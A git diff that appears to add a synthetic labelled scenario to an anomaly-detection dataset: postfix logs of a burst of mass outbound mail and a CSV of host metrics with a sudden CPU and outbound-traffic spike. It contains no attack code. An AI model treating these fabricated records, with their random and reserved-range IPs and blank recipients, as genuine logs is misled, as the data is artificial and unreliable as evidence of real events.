postfix/smtp[17164]: 0B54D1474E: to=, from=, relay=aspmx.l.google.com[192.26.97.64]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:57 server postfix/smtp[17166]: B026E6B560: to=, from=, relay=aspmx.l.google.com[179.56.85.136]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:58 server postfix/smtp[17167]: 101FB585F0: to=, from=, relay=aspmx.l.google.com[5.96.128.210]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:00 server postfix/smtp[17169]: 26CA4104B0: to=, from=, relay=user-mail.info[54.100.5.28]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:25:00 server postfix/smtp[17171]: F3B07545AD: to=, from=, relay=web-host.org[86.217.129.158]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:25:01 server postfix/smtp[17170]: F38EF19895: to=, from=, relay=aspmx.l.google.com[53.77.146.147]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:02 server postfix/smtp[17168]: B0FCB52221: to=, from=, relay=aspmx.l.google.com[20.153.162.40]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:02 server postfix/smtp[17172]: 984093E832: to=, from=, relay=aspmx.l.google.com[195.5.60.122]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:06 server postfix/smtp[17174]: 96DCC054E0: to=, from=, relay=aspmx.l.google.com[109.141.239.167]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:07 server postfix/smtp[17173]: 1BF0A51842: to=, from=, relay=user-mail.info[236.87.51.15]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:25:07 server postfix/smtp[17175]: F2E11C41AF: to=, from=, relay=business.biz[88.187.174.172]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:25:10 server postfix/smtp[17176]: A75BBB6077: to=, from=, relay=example.com[145.165.106.24]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:25:10 server postfix/smtp[17179]: 8B55DF435F: to=, from=, relay=aspmx.l.google.com[103.47.130.185]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:11 server postfix/smtp[17178]: 2CB3054DB3: to=, from=, relay=business.biz[213.109.188.171]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:25:12 server postfix/smtp[17180]: 9FD940C037: to=, from=, relay=example.com[34.202.236.194]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:25:14 server postfix/smtp[17177]: E75A7D612C: to=, from=, relay=aspmx.l.google.com[3.84.164.88]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:17 server postfix/smtp[17183]: 8DCFAA32D7: to=, from=, relay=aspmx.l.google.com[182.129.169.177]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:18 server postfix/smtp[17182]: C5FADBDCF0: to=, from=, relay=aspmx.l.google.com[178.161.56.248]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:18 server postfix/smtp[17184]: 07B1EC5C1B: to=, from=, relay=user-mail.info[211.117.213.215]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:25:19 server postfix/smtp[17181]: E390BE4FF4: to=, from=, relay=aspmx.l.google.com[55.216.66.126]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:21 server postfix/smtp[17186]: 046B89AF4E: to=, from=, relay=aspmx.l.google.com[110.72.159.157]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:21 server postfix/smtp[17188]: 8CE5ECA481: to=, from=, relay=user-mail.info[146.26.118.21]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:25:22 server postfix/smtp[17187]: 95C074E49B: to=, from=, relay=mailservice.net[29.50.70.84]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:25:24 server postfix/smtp[17185]: C15B28E8BD: to=, from=, relay=aspmx.l.google.com[130.30.18.145]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:26 server postfix/smtp[17189]: 5F216E0883: to=, from=, relay=mailservice.net[7.192.215.226]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:25:26 server postfix/smtp[17190]: 27CC167113: to=, from=, relay=aspmx.l.google.com[85.130.167.15]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:26 server postfix/smtp[17191]: C08BFB9A1E: to=, from=, relay=mailservice.net[248.175.163.77]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:25:30 server postfix/smtp[17192]: 88299B7A6A: to=, from=, relay=aspmx.l.google.com[242.219.164.17]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:32 server postfix/smtp[17193]: B2C43DAA62: to=, from=, relay=aspmx.l.google.com[60.233.84.188]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:35 server postfix/smtp[17194]: 1961839318: to=, from=, relay=web-host.org[141.80.218.141]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:25:35 server postfix/smtp[17195]: F977F554BE: to=, from=, relay=aspmx.l.google.com[83.99.34.121]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:35 server postfix/smtp[17198]: 5A6E87C400: to=, from=, relay=user-mail.info[13.55.173.230]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:25:38 server postfix/smtp[17196]: 706D41BB05: to=, from=, relay=user-mail.info[210.158.9.129]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:25:38 server postfix/smtp[17197]: 9D3109DDD9: to=, from=, relay=aspmx.l.google.com[68.210.230.154]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:44 server postfix/smtp[17199]: 7A44B4E7BB: to=, from=, relay=aspmx.l.google.com[190.54.25.206]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:44 server postfix/smtp[17200]: 2404C33F5D: to=, from=, relay=web-host.org[108.59.129.197]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:25:44 server postfix/smtp[17201]: 3756F6BAA2: to=, from=, relay=aspmx.l.google.com[195.176.21.204]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:45 server postfix/smtp[17203]: 5415C19771: to=, from=, relay=aspmx.l.google.com[95.145.184.251]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:46 server postfix/smtp[17204]: 16F6E671B5: to=, from=, relay=aspmx.l.google.com[63.143.30.132]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:49 server postfix/smtp[17202]: F69756FFFC: to=, from=, relay=aspmx.l.google.com[75.157.114.240]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:50 server postfix/smtp[17206]: FE0DED3460: to=, from=, relay=aspmx.l.google.com[41.44.29.147]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:50 server postfix/smtp[17207]: FC71E5ECD4: to=, from=, relay=aspmx.l.google.com[254.102.91.26]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:52 server postfix/smtp[17205]: 9D2D343126: to=, from=, relay=aspmx.l.google.com[51.170.215.212]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:52 server postfix/smtp[17208]: 9C1FE3178B: to=, from=, relay=aspmx.l.google.com[107.82.176.172]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:52 server postfix/smtp[17209]: 3C353C1627: to=, from=, relay=web-host.org[233.54.48.123]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:25:55 server postfix/smtp[17211]: 5FDC5DB989: to=, from=, relay=aspmx.l.google.com[21.131.159.176]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:56 server postfix/smtp[17213]: 955C21062B: to=, from=, relay=aspmx.l.google.com[33.146.69.54]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:58 server postfix/smtp[17214]: 1E05F472D2: to=, from=, relay=aspmx.l.google.com[187.32.236.85]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:59 server postfix/smtp[17210]: D09EFDCBDF: to=, from=, relay=aspmx.l.google.com[209.21.187.205]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:59 server postfix/smtp[17212]: D560E9D911: to=, from=, relay=aspmx.l.google.com[143.207.172.92]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:00 server postfix/smtp[17216]: 6CDAA4A47C: to=, from=, relay=aspmx.l.google.com[188.39.69.8]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:02 server postfix/smtp[17215]: F6B57D5734: to=, from=, relay=aspmx.l.google.com[1.140.249.147]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:07 server postfix/smtp[17217]: D3061572EC: to=, from=, relay=aspmx.l.google.com[135.89.223.3]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:09 server postfix/smtp[17218]: DEDCECA97D: to=, from=, relay=aspmx.l.google.com[1.71.39.3]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:12 server postfix/smtp[17220]: 31A6A7EEB6: to=, from=, relay=user-mail.info[134.67.94.242]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:26:14 server postfix/smtp[17219]: 251627069F: to=, from=, relay=aspmx.l.google.com[43.66.25.132]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:15 server postfix/smtp[17221]: 76C676A102: to=, from=, relay=mailservice.net[27.212.11.102]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:26:16 server postfix/smtp[17224]: BC0698CEB2: to=, from=, relay=aspmx.l.google.com[105.196.65.70]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:17 server postfix/smtp[17222]: 7F89FC84AE: to=, from=, relay=business.biz[108.107.142.188]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:26:18 server postfix/smtp[17223]: F691F4A6E9: to=, from=, relay=aspmx.l.google.com[65.235.159.55]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:19 server postfix/smtp[17225]: 5D613A238D: to=, from=, relay=aspmx.l.google.com[126.177.115.204]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:20 server postfix/smtp[17226]: D1E8A63B93: to=, from=, relay=aspmx.l.google.com[31.71.184.19]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:22 server postfix/smtp[17228]: 2998207A36: to=, from=, relay=aspmx.l.google.com[160.243.222.229]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:23 server postfix/smtp[17227]: 3A8D125016: to=, from=, relay=aspmx.l.google.com[201.45.3.178]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:27 server postfix/smtp[17229]: 7E67F41EC0: to=, from=, relay=aspmx.l.google.com[37.116.144.20]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:27 server postfix/smtp[17230]: D72528F563: to=, from=, relay=aspmx.l.google.com[172.166.219.147]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:27 server postfix/smtp[17231]: 031A227979: to=, from=, relay=aspmx.l.google.com[30.158.120.32]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) diff --git a/mali_dataset/scenario_5/mali_5_9.csv b/mali_dataset/scenario_5/mali_5_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..e5ee31f05972abe766f1fce3a9d6e22b3570b733 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,12.72,36.04,16.9,1.41,1.07 +2025-08-15T10:00:05Z,10.0,32.86,10.06,0.62,1.23 +2025-08-15T10:00:10Z,9.43,33.64,14.72,1.39,0.96 +2025-08-15T10:00:15Z,6.85,36.99,14.64,1.31,0.93 +2025-08-15T10:00:20Z,12.64,37.64,11.2,0.77,1.27 +2025-08-15T10:00:25Z,8.87,39.41,14.99,0.71,0.6 +2025-08-15T10:00:30Z,14.7,37.93,17.03,0.8,0.59 +2025-08-15T10:00:35Z,7.02,38.29,18.99,0.86,1.27 +2025-08-15T10:00:40Z,5.13,39.47,16.02,1.45,0.67 +2025-08-15T10:00:45Z,5.65,33.23,13.95,0.81,1.09 +2025-08-15T10:00:50Z,8.14,31.3,14.17,0.8,0.59 +2025-08-15T10:00:55Z,6.82,35.76,18.73,0.66,1.48 +2025-08-15T10:01:00Z,11.97,37.86,11.2,1.26,0.55 +2025-08-15T10:01:05Z,9.81,35.01,15.28,1.07,1.12 +2025-08-15T10:01:10Z,8.38,32.03,18.7,0.8,1.43 +2025-08-15T10:01:15Z,5.44,36.39,15.29,1.39,1.22 +2025-08-15T10:01:20Z,7.67,33.03,11.41,0.65,1.43 +2025-08-15T10:01:25Z,11.27,39.26,18.52,1.04,1.0 +2025-08-15T10:01:30Z,14.74,39.27,11.66,1.23,1.06 +2025-08-15T10:01:35Z,14.42,33.73,11.57,1.4,1.11 +2025-08-15T10:01:40Z,12.3,39.09,16.71,1.28,0.71 +2025-08-15T10:01:45Z,10.27,30.44,11.06,0.9,1.31 +2025-08-15T10:01:50Z,9.69,32.04,14.57,1.14,0.69 +2025-08-15T10:01:55Z,5.9,30.7,13.9,0.65,0.72 +2025-08-15T10:02:00Z,52.86,42.68,14.65,0.84,77.86 +2025-08-15T10:02:05Z,46.99,39.21,7.71,0.85,64.63 +2025-08-15T10:02:10Z,47.57,39.62,8.73,1.84,59.56 +2025-08-15T10:02:15Z,46.61,35.12,11.66,0.88,79.4 +2025-08-15T10:02:20Z,55.43,42.4,10.25,0.69,58.23 +2025-08-15T10:02:25Z,44.78,37.75,9.07,0.68,66.24 +2025-08-15T10:02:30Z,45.66,42.85,7.81,0.98,74.84 +2025-08-15T10:02:35Z,43.79,44.28,12.64,1.98,79.3 +2025-08-15T10:02:40Z,42.42,37.53,10.78,0.81,66.98 +2025-08-15T10:02:45Z,47.95,37.47,7.83,0.67,56.39 +2025-08-15T10:02:50Z,51.69,40.58,14.63,0.62,50.14 +2025-08-15T10:02:55Z,47.36,42.42,6.95,0.71,76.39 +2025-08-15T10:03:00Z,45.32,35.44,9.32,0.58,61.17 +2025-08-15T10:03:05Z,58.58,36.97,11.57,1.35,75.55 +2025-08-15T10:03:10Z,52.81,36.96,13.37,1.94,60.8 +2025-08-15T10:03:15Z,45.47,44.86,5.83,1.58,62.83 +2025-08-15T10:03:20Z,58.55,37.34,12.82,0.89,53.15 +2025-08-15T10:03:25Z,44.06,40.42,11.09,1.36,63.76 +2025-08-15T10:03:30Z,46.78,35.08,7.17,1.91,68.39 +2025-08-15T10:03:35Z,57.66,35.57,5.68,1.83,61.98 +2025-08-15T10:03:40Z,47.38,41.67,8.87,1.57,69.27 +2025-08-15T10:03:45Z,47.4,43.09,14.86,1.45,73.43 +2025-08-15T10:03:50Z,54.35,42.48,10.08,1.05,66.07 +2025-08-15T10:03:55Z,59.39,40.86,9.07,0.8,51.69 +2025-08-15T10:04:00Z,58.31,41.24,9.18,1.74,70.09 +2025-08-15T10:04:05Z,46.22,40.17,14.05,1.88,53.3 +2025-08-15T10:04:10Z,46.94,38.98,6.56,1.06,79.68 +2025-08-15T10:04:15Z,55.25,36.62,7.5,1.55,73.07 +2025-08-15T10:04:20Z,55.35,36.44,5.52,1.7,58.25 +2025-08-15T10:04:25Z,52.26,38.91,5.4,0.68,62.68 +2025-08-15T10:04:30Z,49.58,42.9,14.66,0.6,64.4 +2025-08-15T10:04:35Z,50.08,41.44,7.12,1.25,56.67 +2025-08-15T10:04:40Z,59.31,43.81,6.95,1.85,63.1 +2025-08-15T10:04:45Z,44.12,41.45,11.11,0.56,50.19 +2025-08-15T10:04:50Z,55.0,35.93,7.64,1.3,70.98 +2025-08-15T10:04:55Z,44.92,37.35,14.11,1.8,54.68 +2025-08-15T10:05:00Z,45.47,35.95,13.98,0.91,79.44 +2025-08-15T10:05:05Z,44.95,37.24,7.07,1.14,65.59 +2025-08-15T10:05:10Z,55.15,38.66,11.24,0.52,59.75 +2025-08-15T10:05:15Z,42.04,35.59,7.23,0.78,67.54 +2025-08-15T10:05:20Z,40.54,36.21,10.09,0.6,59.26 +2025-08-15T10:05:25Z,58.49,41.21,9.8,1.5,65.71 +2025-08-15T10:05:30Z,48.36,36.65,14.09,0.95,59.33 +2025-08-15T10:05:35Z,56.76,43.69,7.38,1.63,72.2 +2025-08-15T10:05:40Z,51.99,44.11,11.98,1.24,61.89 +2025-08-15T10:05:45Z,45.49,35.08,11.2,1.81,77.72 +2025-08-15T10:05:50Z,58.72,44.44,9.79,1.61,53.91 +2025-08-15T10:05:55Z,59.58,36.32,10.0,1.42,54.88 +2025-08-15T10:06:00Z,41.13,37.18,12.56,1.58,70.83 +2025-08-15T10:06:05Z,41.68,38.95,6.29,1.26,57.55 +2025-08-15T10:06:10Z,54.65,44.55,5.59,0.55,66.79 +2025-08-15T10:06:15Z,47.43,44.61,11.51,1.72,67.18 +2025-08-15T10:06:20Z,45.6,39.93,7.16,1.96,59.97 +2025-08-15T10:06:25Z,48.84,35.39,5.75,1.65,65.46 +2025-08-15T10:06:30Z,56.85,36.78,13.31,0.91,62.1 +2025-08-15T10:06:35Z,43.66,38.02,6.97,1.59,72.01 +2025-08-15T10:06:40Z,46.53,43.51,11.32,1.52,55.77 +2025-08-15T10:06:45Z,46.0,37.73,14.54,1.28,68.57 +2025-08-15T10:06:50Z,58.49,40.87,11.24,1.59,66.56 +2025-08-15T10:06:55Z,55.08,42.36,6.2,1.88,71.96 +2025-08-15T10:07:00Z,59.23,43.13,9.89,1.74,64.37 +2025-08-15T10:07:05Z,45.47,39.22,10.77,0.51,54.35 +2025-08-15T10:07:10Z,54.4,42.51,12.98,1.11,64.64 +2025-08-15T10:07:15Z,57.83,40.03,14.61,1.95,63.27 +2025-08-15T10:07:20Z,55.69,36.42,13.37,0.79,72.3 +2025-08-15T10:07:25Z,43.43,43.85,13.51,0.85,53.42 diff --git a/mali_dataset/scenario_5/mali_5_9.log b/mali_dataset/scenario_5/mali_5_9.log new file mode 100644 index 0000000000000000000000000000000000000000..106bf2b3bad66f1d965a174a0f61e51d2432397e --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_9.log @@ -0,0 +1,647 @@ +Aug 15 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 15 10:00:00 web-app[2489]: GET /api/v1/user/17 status=200 OK +Aug 15 10:01:15 systemd[1]: Starting daily clean up activities... +Aug 15 10:02:00 postfix/smtp[5327]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:00 postfix/smtp[7859]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:01 postfix/smtp[8436]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:01 postfix/smtp[8659]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:01 postfix/smtp[9139]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:01 postfix/smtp[9183]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:01 postfix/smtp[9750]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:02 postfix/smtp[7050]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:02 postfix/smtp[7130]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:02 postfix/smtp[7795]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:02 postfix/smtp[9050]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:05 postfix/smtp[9078]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:05 web-app[2375]: GET /api/v1/user/10 status=200 OK +Aug 15 10:02:06 postfix/smtp[5411]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:06 postfix/smtp[7372]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:07 postfix/smtp[6601]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:07 postfix/smtp[7091]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:07 postfix/smtp[8657]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:07 postfix/smtp[8689]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:07 postfix/smtp[9500]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:08 postfix/smtp[5750]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:08 postfix/smtp[6623]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:08 postfix/smtp[7378]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:08 postfix/smtp[8636]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:10 postfix/smtp[8168]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:11 postfix/smtp[8823]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:11 postfix/smtp[9225]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:12 postfix/smtp[7607]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:12 postfix/smtp[9403]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:13 postfix/smtp[6808]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:13 postfix/smtp[9505]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:15 postfix/smtp[5835]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:15 postfix/smtp[6200]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:15 postfix/smtp[7798]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:16 postfix/smtp[6716]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:16 postfix/smtp[7770]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:16 postfix/smtp[8837]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:17 postfix/smtp[5495]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:17 postfix/smtp[7299]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:17 postfix/smtp[9710]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:18 postfix/smtp[7816]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:18 postfix/smtp[8406]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:20 postfix/smtp[5465]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:21 postfix/smtp[5445]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:21 postfix/smtp[8527]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:22 postfix/smtp[8180]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 